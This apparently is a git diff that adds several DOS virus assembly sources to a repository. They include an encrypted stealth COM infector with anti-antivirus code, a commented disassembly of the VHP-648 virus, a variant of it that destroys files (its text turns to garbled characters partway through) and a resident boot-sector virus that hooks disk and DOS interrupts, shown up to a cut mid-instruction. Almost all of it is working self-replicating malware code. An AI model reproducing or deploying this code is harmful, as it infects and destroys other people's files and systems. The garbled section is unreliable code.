;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +add byte ptr [di],072h +dec word ptr [di] +add word ptr [di],0f965h +dec byte ptr [di] +not word ptr [di] +not word ptr [di] +dec word ptr [di] +not word ptr [di] +not word ptr [di] +add word ptr [di],0ccdh +add word ptr [di],05c54h +xor word ptr [di],01bd8h +sub byte ptr [di],03fh +dec byte ptr [di] +not word ptr [di] +xor word ptr [di],0cb6fh +add byte ptr [di],059h +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov cx,50 ;50 beep's! +beep: ;beep label! +mov ax,0E07h ; +int 10h ;print beep char +loop beep ;go! +NO_DAY: ; +ret ; +;--------------------------------- + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 020H ;day for the action +action_mes Db 0dH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/v/VIRUS2.ASM b/v/VIRUS2.ASM new file mode 100755 index 0000000..59911d2 --- /dev/null +++ b/v/VIRUS2.ASM @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,not 1 ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VIRUS3.ASM b/v/VIRUS3.ASM new file mode 100755 index 0000000..2b35cfa --- /dev/null +++ b/v/VIRUS3.ASM @@ -0,0 +1,309 @@ + name Virus + title Virus; based on the famous VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + int 20 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 3 dup (90) ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +codeptr dw ? ;Here is formed a jump to virus code +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file. +;It's a jmp instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,0,0,0,0C8 +errhnd dd ? + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov [si+dtaaddr-data],bx ;Save it in dtaaddr + mov [si+dtaaddr+2-data],es + + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + mov [si+errhnd-data],bx + mov [si+errhnd+2-data],es + pop es ;Restore ES + + mov ax,2524 ;Set interrupt 24h handler + mov dx,si + add dx,handler-data + int 21 + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + xor di,di +n_00015A: ;Search 'PATH' in environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+poffs-data],di ;Save 'PATH' offset in poffs + mov bx,si ;Point BX at data area + add si,fname-data ;Point SI & DI at fname + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+poffs-data],6C + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+poffs-data] + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + xor si,si +n_0001B0: + pop bx + pop ds + mov [bx+poffs-data],si + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cl,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cl,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+time-data] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is file size greather than 64,000 bytes? + + cmp [si+fsize-data],64000d + ja findnext ;If so, search for next file + +;Is file size less than 10 bytes? + + cmp word ptr [si+fsize-data],10d + jb findnext ;If so, search for next file + + mov di,[si+eqoffs-data] + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+fattrib-data],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + and cl,not 1 ;Turn off Read Only flag + int 21 + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+ftime-data],cx ;Save time in ftime + mov [si+fdate-data],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz n_000266 ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + xor cx,cx ;0 bytes from end + xor dx,dx + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer (file size) + add ax,virus-data-3 ;Add virus data length to get code offset + mov [si+codeptr-data],ax ;Save result in codeptr + inc ch ;Add 100h to CX + mov di,si + add di,modify-data ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,endcode-data ;Virus code length as bytes to be written + mov dx,si ;Write from data to endcode + int 21 + jc oldtime ;Exit on error + cmp ax,endcode-data ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + xor cx,cx ;Just at the file beginning + xor dx,dx + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file ate-dne bove ata area + adttttttt +grrr + +frrrrrrt: + mov ah,4Frrrrrrrrrrre EPpll zDstrrrrrr +e ata area + adttttttt +grrr + g1r1rH)a0x,2524 a0me l eO3Efleqryc+qn_00dd si,d ont 21 + jc oldtime ;Exit on error + cmp me l eO3E*; +conds, more exa mov ahop ssi,d ont 21 G3,n'0exit ;Exit if i bl eO3Efleq n_0001A1: + lods01: + Tn v ax,vitrtvs,pathstrt + rp +tore SI +ff to enaMvall byly ont 21 + jc ?i eO3js + +mar it vall bylit vall tfll etan +rE ax,[di+poffs-datat +conds,lodsblit )Eo +:b; eO3Eeax ;Get the value of file pointer (f + +mar file + xor'artvs,papoinre to file hand ;n written? + jenaMoS wi,edO3E*;cog1ll byly ont 2ijc oltfll etan +rnax,4CSave 'n,X cs,papa tss a font ah,4E ,Nt5h +enaMoS wta 'p ax,c olhem in Kpto file hand ;n writc file +;o dleptrle han yc+qnlile + xor'artvsd ;nCcfont n v ae od + mo ldfile +le hh znt S wi, d +rt2 \ No newline at end of file diff --git a/v/VIRUSA.ASM b/v/VIRUSA.ASM new file mode 100755 index 0000000..b113a6a --- /dev/null +++ b/v/VIRUSA.ASM @@ -0,0 +1,1204 @@ +start segment + assume cs:start,ds:start + org 100h +boot equ 0f00h +kezd: db 52h,24h + jmp hideg + nop + jmp meleg + nop + jmp tamad +veg1: dw 0 +kezd1: dw 0 +meleg: pop si + pop ds + pop [si] + pop [si+2] + mov si,boot + mov di,7c00h + push cs + pop ds + xor ax,ax + mov es,ax + mov cx,100h + pushf + cld + rep movsw + popf +ok1: db 0eah,00,7ch,0,0 +hideg: xor ax,ax + push si + push di + push cx + cld + mov di,offset flag1 + mov si,offset flagv +awq: stosb + cmp di,si + jc awq + pop cx + pop di + pop si + mov es,ax + mov ax,es:word ptr [4ch] + mov cs:word ptr [int13+1],ax + mov ax,es:word ptr [4eh] + mov cs:word ptr [int13+3],ax + mov ax,offset it13 + mov es:word ptr [4ch],ax + mov es:[4eh],cs + mov ax,es:word ptr [84h] + mov cs:word ptr [int21+1],ax + mov ax,es:word ptr [86h] + mov cs:word ptr [int21+3],ax + mov ax,0f000h + mov es,ax + mov al,es:byte ptr[0fff0h] + cmp al,0eah + jnz meleg + mov ax,es:word ptr[0fff1h] + mov cs:word ptr [reset+1],ax + mov ax,es:word ptr[0fff3h] + mov cs:word ptr [reset+3],ax + jmp meleg +int13: db 0eah,0,0,0,0 +int21: db 0eah,0,0,0,0 +int40: db 0eah,0,0,0,0 +flag1: db 0 +flag2: db 0 +flag3: db 0 +flag4: dw 0 +flag5: db 0 +flagv db 0 +egys: db 0 +sub13: cmp dl,0 + jz sub40 +visx: pushf + push cs + mov dl,cs:byte ptr [egys] + call int13 + ret +sub40: push ax + mov al,cs:byte ptr [flag5] + cmp al,80 + pop ax + jmp visx + pushf + push cs + call int40 + ret +subru: push ax + push cx + push dx + push ds + xor ax,ax + mov ds,ax + mov ax,ds:word ptr [78h] + mov cs:word ptr [int1e],ax + mov ax,ds:word ptr [7ah] + mov cs:word ptr [int1e+2],ax + mov al,cs:byte ptr [sav] + cmp al,28h + jz dds + mov bx,offset hdtbl + jmp hds +dds: mov bx,offset dstbl + mov cx,offset tb360 + jmp okea +hds: mov ax,cs:word ptr [szekt] + mov cx,offset tb12 + cmp ax,0fh + jz okea + mov cx,offset tb720 + cmp ax,9 + jz okea + mov cx,offset tb14 +okea: mov ds:word ptr [78h],cx + mov ds:word ptr [7ah],cs + pop ds + pop dx + pop cx + pop ax + call sub13 + push ax + push cx + push dx + push ds + pushf + xor ax,ax + mov ds,ax + mov ax,cs:word ptr [int1e] + mov ds:word ptr [78h],ax + mov ax,cs:word ptr [int1e+2] + mov ds:word ptr [7ah],ax + popf + pop ds + pop dx + pop cx + pop ax + ret +sub21: pushf + push cs + call int21 + ret +it21: cmp ah,3dh + jnz fu3e + push bx + push cx + push ax + push dx + push es + push ds + mov bx,dx +cikl1: mov al,[bx] + cmp al,0 + jz veg + inc bx + jmp cikl1 +veg: push si + mov si,offset nev + dec bx + dec si + mov cx,11 +cikl2: mov al,[bx] + or al,20h + cmp al,cs:[si] + jz nem4 + jmp nem1 +nem4: dec si + dec bx + loop cikl2 + pop si + pop ds + pop es + pop dx + pop ax + pop cx + pop bx + call sub21 + jnc igen1 + retf 2 +igen1: mov cs:word ptr [flag4],ax +nem2: clc + retf 2 +fu3e: cmp ah,3eh + jz aah + jmp int21 +aah: cmp bx,cs:word ptr [flag4] + jz folyt8 + jmp int21 +folyt8: cmp cs:word ptr [flag4],0 + jnz folyt9 + jmp int21 +folyt9: mov cs:word ptr [flag4],0 + call sub21 + push ds + push es + push ax + push bx + push cx + push dx + mov cs:byte ptr [fo],0 +ujfo: mov bx,200h + mov ah,48h + call sub21 + cmp bx,200h + jnc fogl +nem3: pop dx + pop cx + pop bx + pop ax + pop es + pop ds + retf 2 +fo: db 0 +fogl: push ax + and ax,0fffh + cmp ax,0db0h + jc okes1 + pop ax + cmp cs:byte ptr [fo],3 + jz nem3 + inc cs:byte ptr [fo] + jmp ujfo +okes1: pop ax +okes: mov es,ax + mov cs:word ptr [szegm],ax + mov si,0 + mov di,0 + mov cx,1000h + push cs + pop ds + pushf + cld + rep movsw + popf + xor ax,ax + mov ds,ax + mov ax,0 + mov ds,ax + mov ax,offset it21 + mov dx,cs + mov bx,0 + mov cx,0fff0h +tovabb: call keres + jnz nincs + push ax + mov ax,cs:word ptr [int21+1] + mov ds:word ptr [bx],ax + mov ax,cs:word ptr [int21+3] + mov ds:word ptr [bx+2],ax + pop ax + jmp tovabb +reset: db 0eah,0f0h,0ffh,0,0f0h +nincs: mov ax,offset it13 + mov dx,cs + mov bx,0 + mov cx,0fff0h +tovab1: call keres + jnz kil2 + push ax + mov ax,es + mov ds:word ptr [bx+2],ax + pop ax + jmp tovab1 +kil2: mov ax,0 + mov ds,ax + mov ax,ds:word ptr [100h] + mov es:word ptr [int40+1],ax + mov ax,ds:word ptr [102h] + mov es:word ptr [int40+3],ax + call beszur + mov ax,offset it40 + jmp nem3 + mov ds:word ptr [100h],ax + mov ax,es + mov ds:word ptr [102h],ax + mov es:byte ptr [flag5],80 + jmp nem3 +keres: push ax + push dx +ker1: cmp word ptr[bx],ax + jz van1 +nincs1: inc bx + loop ker1 + inc cx +kil1: pop dx + pop ax + ret +van1: cmp word ptr [bx+2],dx + jnz nincs1 + jmp kil1 +nem1: pop si + pop ds + pop es + pop dx + pop ax + pop cx + pop bx + jmp int21 + db 'command.com' +nev: db 0 +it13: push bx + push ax + push cx + push dx + push es + push ds + push di + push si + push cs + pop ds + push cx + push ax + push dx + mov bx,offset atir + mov cx,2 +erdf: call ftr + jc poiu + loop erdf + jmp reset +ftr: mov al,90h + clc + mov [bx],al +atir: stc + nop + nop + nop + nop + nop + nop + nop + mov al,0f9h + mov [bx],al + ret +poiu: pop dx + pop ax + pop cx + cmp cs:byte ptr [mod1],1 + jnz awsw + jmp leol +awsw: mov cs:byte ptr [egys],dl + cmp ah,2 + jc aab + cmp ah,4 + jnc aab + cmp cx,3 + jnc aab + cmp dh,0 + jnz aab + mov cs:byte ptr [flag3],80h +aab: mov al,cs:byte ptr [flag1] + cmp al,80h + jz ugr1 + xor ax,ax + mov es,ax + mov ax,es:word ptr [84h] + cmp ax,cs:word ptr [int21+1] + jz tov1 + jmp dos +tov1: mov ax,es:word ptr [86h] + cmp ax,cs:word ptr [int21+3] + jz ugr1 + jmp dos +ugr1: cmp di,55aah + jnz norm + cmp si,5aa5h + jnz norm + pop si + mov si,0a55ah + push si +norm: cmp dl,20h + jc lemeza + cmp dl,80h + jz win +fdg: jmp kilep +win: jmp wincsi +it40: jmp int40 +lemeza: mov al,cs:byte ptr [flag3] + cmp al,80h + jz lcsere + cmp ah,5 + jnz haha1 +haha2: mov cs:byte ptr [flag3],84h + jmp haha +haha1: cmp al,0 + jz haha + dec cs:byte ptr [flag3] +haha: jmp kilepo +hah1: call sub13 + jnc viter1 +idt: cmp ah,6 + jnz viter + mov cs:byte ptr [flag3],80h +viter: stc +viter1: retf 2 +lcsere: mov cs:byte ptr [flag2],0 + cmp ah,5 + jz haha2 + mov cx,3 +cikl7: push cx + mov cs:byte ptr [flag3],0 + mov bx,boot+200h + mov ax,201h + mov cx,1 + mov dx,0 + push cs + pop es + call sub13 + pop cx + jnc ugr4 + loop cikl7 + jmp kilep +ugr4: push cs + pop ds + mov bx,boot+200h + mov cx,200h + mov ax,0cdfbh + mov dx,7213h + call keres + jz folyt1 + jmp kilep +folyt1: mov cs:byte ptr [fert],1 + mov ax,[bx+5] + cmp ax,12cdh + mov cs:word ptr [cime],bx + mov cs:word ptr[wax],308h + jz foi + jmp folyt2 +foi: mov al,cs:[bx+5+offset ver1-offset kezd2] + cmp al,23 + jnz meh + mov ax,cs:[bx+6+offset ver1-offset kezd2] + cmp ax,word ptr ver1+1 + jnc kilepo +meh: mov cs:word ptr [wax],307h + jmp folyt2 +fert: db 0,0 +kilepo: pop si + pop di + pop ds + pop es + pop dx + pop cx + pop ax + pop bx + cmp dh,0 + jz ugs + jmp hah1 +ugs: cmp cx,1 + jz bout1 + jmp hah1 +bout1: cmp ah,2 + jz bout + cmp ah,3 + jz save + jmp hah1 +bout: call sub13 + jnc ada + jmp idt +ada: cmp cs:byte ptr [flag1],80h + jz ase + jmp hah1 +ase: push si + pushf + mov si,offset bot1 + call ase1 + popf + pop si + jmp viter1 +save: cmp cs:byte ptr [fert],1 + jz save2 + jmp kif +save2: mov cs:byte ptr [fert],0 + push 